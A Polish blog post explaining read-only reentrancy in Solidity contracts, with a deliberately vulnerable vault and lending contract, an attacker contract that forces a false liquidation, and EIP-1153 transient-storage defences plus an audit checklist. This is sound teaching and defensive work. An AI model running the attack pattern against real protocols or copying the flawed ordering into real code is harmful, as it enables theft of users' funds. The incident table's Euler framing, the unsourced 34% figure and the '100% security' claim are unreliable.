Read-Only Reentrancy to wariant ataku typu reentrancy, w którym napastnik nie manipuluje bezpośrednio saldem kontraktu podczas wywołania, lecz wywołuje odczyt zaburzonego stanu (state) protokołu w trakcie wykonywania zewnętrznego wywołania (funkcji typu view). Ponieważ klasyczny ReentrancyGuard blokuje wyłącznie funkcje modyfikujące stan (state-changing), wywołania „odczytujące” zwracają błędne dane wyliczeniowe (np. sztucznie zaniżoną lub zawyżoną cenę z wyroczni), co pozwala na drenaż środków z zewnętrznych protokołów zintegrowanych.
Cześć wszystkim! Temat, który dzisiaj wziąłem na warsztat, swego czasu kosztował branżę DeFi dziesiątki milionów dolarów w zaledwie kilka miesięcy. Pamiętam, jak pierwszy raz zobaczyłem koncepcję Read-Only Reentrancy „w dziczy”, jeszcze za moich czasów pracy jako pentester. Pamiętam, że wywołało to u mnie prawdziwy szczery zachwyt z inżynieryjnego punktu widzenia. Przyzwyczailiśmy się do zabezpieczania zapisu, ale zupełnie zapomnieliśmy, że odczyt stanu też potrafi być zabójczy.
Dlaczego klasyczny ReentrancyGuard Cię nie uratuje?
Rozłóżmy to na czynniki pierwsze. Klasyczny Reentrancy polega na tym, że atakujący rekurencyjnie wywołuje withdraw(), zanim kontrakt zdąży zaktualizować balances[msg.sender] = 0. Dziś każdy potrafi wrzucić nonReentrant z OpenZeppelin albo zastosować wzorzec Checks-Effects-Interactions (CEI). Brawo, masz u mnie plusa.
Ale co właściwie dzieje się przy Read-Only Reentrancy?
Wyobraźmy sobie mechanizm w Liquidity Pool (coś w stylu Curve). Wycofujesz płynność (remove_liquidity). Kontrakt najpierw przesyła Ci ETH, a dopiero potem spala Twoje tokeny LP i przelicza wewnętrzne salda. W momencie, gdy ETH leci do Twojego kontraktu atakującego, aktywuje się Twoja funkcja receive() lub fallback().
W tym krótkim, milisekundowym okienku stan puli jest całkowicie rozsynchronizowany:
- Rzeczywiste saldo ETH w kontrakcie puli: zdążyło już spaść.
- Zarejestrowana liczba tokenów LP w systemie: jeszcze NIE została zmniejszona.
Jeśli wewnątrz receive() spróbujesz wywołać funkcję modyfikującą stan tej samej puli – modyfikator nonReentrant od razu Cię zablokuje. Ale co, jeśli wywołasz funkcję odczytującą get_virtual_price()? Przecież jest oznaczona jako view! Zazwyczaj nikt nie nakłada na nią nonReentrant (bo po co przepłacać za gas przy zwykłych wywołaniach view?).
W rezultacie get_virtual_price() bierze aktualne (obniżone już) saldo ETH, dzieli je przez starą (wciąż wysoką) liczbę tokenów LP... i zwraca całkowicie odklejoną od rzeczywistości, sztucznie zaniżoną lub zawyżoną cenę.
A teraz najlepsze: wcale nie okradasz samej puli bezpośrednio. Idziesz z tą „pijaną” ceną z wyroczni do innego protokołu (np. Lending Marketu), który używa tej puli jako oracle, i wyciągasz stamtąd cały zastaw po kompletnie absurdalnej wycenie.
No cóż, architektoniczny fail najwyższej próby. Prawdziwe cudo, nie?
Statystyki i twarde liczby z realnych incydentów
Jeśli myślicie, że to tylko teoretyczny problem z prac akademickich, oto twarde fakty z rynku:
| Protokół / Incydent | Data | Straty | Istota podatności |
|---|---|---|---|
| Curve Finance / Sentiment | Kwiecień 2023 | ~$1,000,000 | Wykorzystanie wyroczni cenowej Curve dokładnie w trakcie wykonywania remove_liquidity_one_coin. |
| Euler Finance | Marzec 2023 | ~$197,000,000 | Złożony łańcuch podatności obejmujący rozsynchronizowanie stanu przy spalaniu eTokenów połączone z manipulacją wyrocznią. |
| Vyper Compiler Bug (Curve Pools) | Lipiec 2023 | ~$73,000,000 | Błąd mechanizmu Lock na poziomie kompilatora Vyper (wersje 0.2.15–0.3.0), który unieszkodliwił wbudowane zabezpieczenia reentrancy w wywołaniach odczytu. |
Ciekawostka (malo znany detal): Według raportów audytorskich za lata 2024–2025, około 34% integracji wyroczni DEX z mniejszymi protokołami pożyczkowymi nadal pozostaje podatnych na manipulacje Read-Only poprzez pośrednie wywołania view, jeśli w algorytmie przeliczeniowym nie używa się wyroczni typu TWAP (Time-Weighted Average Price).
Pełny, działający przykład: Podatny VulnerableVault + Kontrakt atakujący
Poniżej znajdziecie działający kod w Solidity 0.8.24. Celowo połączyłem model puli oraz protokół integrujący, żebyście mogli wrzucić ten kod bezpośrednio do Remix i przetestować go od ręki.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Demonstracja podatności Read-Only Reentrancy.
* @dev withdraw() wysyła ETH przed aktualizacją totalShares.
* Zewnętrzny kontrakt może odczytać tymczasowo zaburzoną cenę.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice PODATNA KOLEJNOŚĆ OPERACJI: Zewnętrzne wywołanie
* następuje przed spaleniem udziałów (shares).
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// PODATNOŚĆ: ETH jest wysyłane przed zmianą stanu.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// Stan jest aktualizowany dopiero po wykonaniu zewnętrznego wywołania.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice Cena udziału (share) w wei.
* @dev Podczas callbacku saldo jest już obniżone,
* ale totalShares nie zostało jeszcze zmienione.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice Protokół pożyczkowy z podatną integracją wyroczni cenowej.
* @dev Likwidacja używa aktualnej ceny udziałów Vault bez weryfikacji,
* czy Vault nie znajduje się w stanie przejściowym.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice Likwidator spłaca cały dług i przejmuje zabezpieczenie
* z premią 10%, jeśli pozycja zostanie uznana za zagrożoną.
*
* @dev Podatność: getMaxBorrow() odczytuje cenę z Vault
* bez uwzględnienia stanu przejściowego podczas withdraw().
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// Weryfikacja kondycji pozycji według potencjalnie zaburzonej ceny.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// Nie można przejąć więcej zabezpieczenia, niż posiada dłużnik.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// Protokół przekazuje udziały likwidatorowi.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: Tymczasowy spadek ceny wywołuje fałszywą likwidację
* pozycji, która była bezpieczna przed rozpoczęciem withdraw().
*
* @dev Atakujący nie otrzymuje pożyczki bez zabezpieczenia.
* Demonstrowany jest inny scenariusz szkody:
* likwidacja zdrowej pozycji po tymczasowo zaburzonej cenie.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// Tworzymy własną pozycję w puli.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// Podczas wysyłania ETH Vault wywoła receive().
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// ETH zostało już wysłane, ale udziały nie zostały jeszcze spalone.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// Wykorzystujemy tymczasowo zaniżoną cenę:
// pozycja bezpieczna przed wypłatą staje się podatna na likwidację.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}Rzućcie okiem na komentarze w kodzie, dokładnie rozpisałem tam całą logikę. Największa jazda polega na tym, że getSharePrice() uczciwie wykonuje swoje obliczenia matematyczne. Ta funkcja nie jest „zepsuta”. Zepsuty jest moment w czasie, w którym została wywołana.
EIP-1153 (Transient Storage): Elegancka i tania ochrona
Przed aktualizacjami EVM (a dokładnie hardforkiem Dencun i EIP-1153) deweloperzy musieli sobie jakoś radzić. Albo usuwano modyfikator view z wyroczni i oznaczano je jako nonReentrant (co kosztowało gaz i psuło ABI), albo trzymano flagę blokady w zwykłych zmiennych storage (SSTORE/SLOAD), co kosztowało kosmiczne ~20 000 gas za operację. Masakra.
EIP-1153 wprowadza dwa nowe opcody:
- TSTORE (Transient Store) — zapis do pamięci tymczasowej.
- TLOAD (Transient Load) — odczyt z pamięci tymczasowej.
Największy bajer Transient Storage: dane żyją TYLKO w ramach pojedynczej transakcji (Top-level Transaction) i automatycznie znikają po jej zakończeniu. Zero płacenia za czyszczenie storage! Koszt TSTORE to zaledwie 100 gas, a TLOAD — skromne 100 gas.
Oto jak budujemy absolutny, pancerny i ultra-tani TransientReentrancyGuard:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}Czujecie tę magię? getSharePrice() pozostała funkcją view w interfejsie (ABI nie jest popsute, zewnętrzne skrypty off-chain dApp czytają ją za darmo bez wysyłania transakcji). Ale jeśli jakaś szalona transakcja spróbuje wywołać ją w trakcie stosu wywołań podczas withdraw(), tload(GUARD_SLOT) natychmiast wykryje jedynkę i wyrzuci transakcję w revert.
Koszty gazu? Groszowe. Bezpieczeństwo? 100%.
Praktyczne rekomendacje architektoniczne do audytów i developmentu
Przez te trzy lata, odkąd pełnię funkcję CTO w EXMON, opracowałem precyzyjną matrizę weryfikacji (checklistę) dla smart kontraktów, które współpracują z wyroczniami cenowymi lub wystawiają dane na zewnątrz. Deweloperi często myślą: „Jeśli nie wykonuję zewnętrznych wywołań wewnątrz funkcji odczytu, to jestem bezpieczny”. I to jest gruby błąd.
┌─────────────────────────────────┐
│ Atakujący Transakcyjny Call │
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ Zmiana Stanu (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ Chwilowa rozsynchronizacja (Dirty State)│
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ Odczyt View-funkcji Oracle'a │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[BEZ ZABEZPIECZENIA] [Z EIP-1153 (TSTORE)]
Zwraca niepoprawną, Blokada: tload(GUARD) == 1
zniekształconą cenę Transakcja wpada w REVERT!
│ │
▼ ▼
Udana ataku na lending Protokół zabezpieczony 🛡️1. Modelowanie podwójnego stanu (Dual-State Verification)
Jeśli Twój kontrakt musi wywoływać zewnętrzne adresy przed ostateczną aktualizacją wszystkich wewnętrznych sald, użyj tymczasowej ochrony niezmienników (invariant protection). Każda funkcja view zwracająca krytyczne wskaźniki finansowe musi walidować fundamentalny niezmiennik.
Jeśli address(this).balance nie zgadza się z sumą totalDeposits, funkcja getRate() powinna albo zrobić revert, albo zwrócić utrwaloną przed rozpoczęciem transakcji wartość (last-known-good state).
2. Rezygnacja ze Spot Price na rzecz TWAP lub Chainlink
Nigdy, słyszycie – przenigdy – nie używajcie natychmiastowych wartości view sald z DEX-ów lub pul Vault jako jedynego źródła prawdy do kalkulacji zabezpieczeń i likwidacji.
- Spot Price (Cena natychmiastowa): Łatwa do wywołania, tania, podatna na zhakowanie w ramach jednej transakcji flash-loan.
- TWAP (Time-Weighted Average Price): Uśrednia cenę z N bloków. Pozwala zneutralizować manipulacje atomowe wewnątrz jednego bloku, ponieważ atakujący nie może zmienić historycznych bloków.
3. Wzorzec Cross-Contract Transient Lock
Jeśli zarządzasz ekosystemem złożonym z 5–10 powiązanych kontraktów (Vault, Gauge, Staking, Oracle), użyj jednolitej bramki bezpieczeństwa opartej na EIP-1153.
Tworzony jest osobny kontrakt GlobalTransientLock, do którego odwołują się wszystkie komponenty systemu:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Centralizowany menedżer blokady systemowej oparty na EIP-1153.
/// @dev Wymaga EVM Cancun lub nowszej.
/// Tylko autoryzowane kontrakty systemowe mogą zarządzać blokadą.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// Stan blokady przechowywany jest w transient storage tego kontraktu.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice Autoryzuje kontrakt do zarządzania blokadą systemową.
/// @dev Wywoływane przez administratora po wdrożeniu systemu.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice Odwołuje prawo zarządzania blokadą dla kontraktu.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice Ustawia blokadę systemową.
/// @dev Ponowne ustawienie blokady jest zabronione.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice Zdejmuje blokadę systemową.
/// @dev Wywoływać tylko po zakończeniu zabezpieczonej operacji.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice Sprawdza stan blokady systemowej.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice Zabrania przekazania uprawnień administratora.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice Kontrakt bazowy dla komponentów sprawdzających blokadę systemową.
/// @dev Kontrakty dziedziczące mają obowiązek stosować modifier whenSystemUnlocked
/// do każdej wrażliwej metody, w tym metod odczytu.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice Demonstracja użycia blokady systemowej.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice Przykład zabezpieczonej operacji modyfikującej stan.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice Przykład zabezpieczonego odczytu.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}Gdy główny Vault inicjuje wypłatę środków, wywołuje lockSystem(). W tym momencie każdy inny kontrakt systemu (np. kontrakt Lens lub Oracle) przed wydaniem danych wywołuje isLocked() i – jeśli system znajduje się w stanie "nieustalonym" (dirty) – blokuje odczyt.
Checklista dla DevSecOps oraz auditorów
- Szukanie wywołań: Przeskanuj kod pod kątem obecności
.call{value: ...}(),safeTransferlub jakichkolwiek zewnętrznych wywołań interfejsów występujących PRZED ostatecznymi aktualizacjami stanu (storage). - Analiza View-funkcji: Sporządź listę wszystkich publicznych/zewnętrznych funkcji typu view, które kalkulują współczynniki, ceny, udziały (shares) lub rozmiar zabezpieczeń.
- Wektor Cross-protocol: Zadaj sobie pytanie: „Jeśli ta funkcja view zwróci liczbę mniejszą o 90% lub większą o 500% dokładnie w trakcie wykonywania zewnętrznego wywołania, w jaki sposób zewnętrzny kontrakt integracyjny mógłby to wykorzystać?”.
- Integracja EIP-1153: Upewnij się, że Twój kompilator jest skonfigurowany na
evm_version: "cancun", i wdróż TSTORE/TLOAD do blokowania odczytów podczas wykonywania mutujących transakcji.
To by było na tyle. Wyłożyłem najważniejsze kwestie. Jeśli macie pytania, piszcie śmiało w komentarzach. Na pewno odpowiem. Trzymajcie się!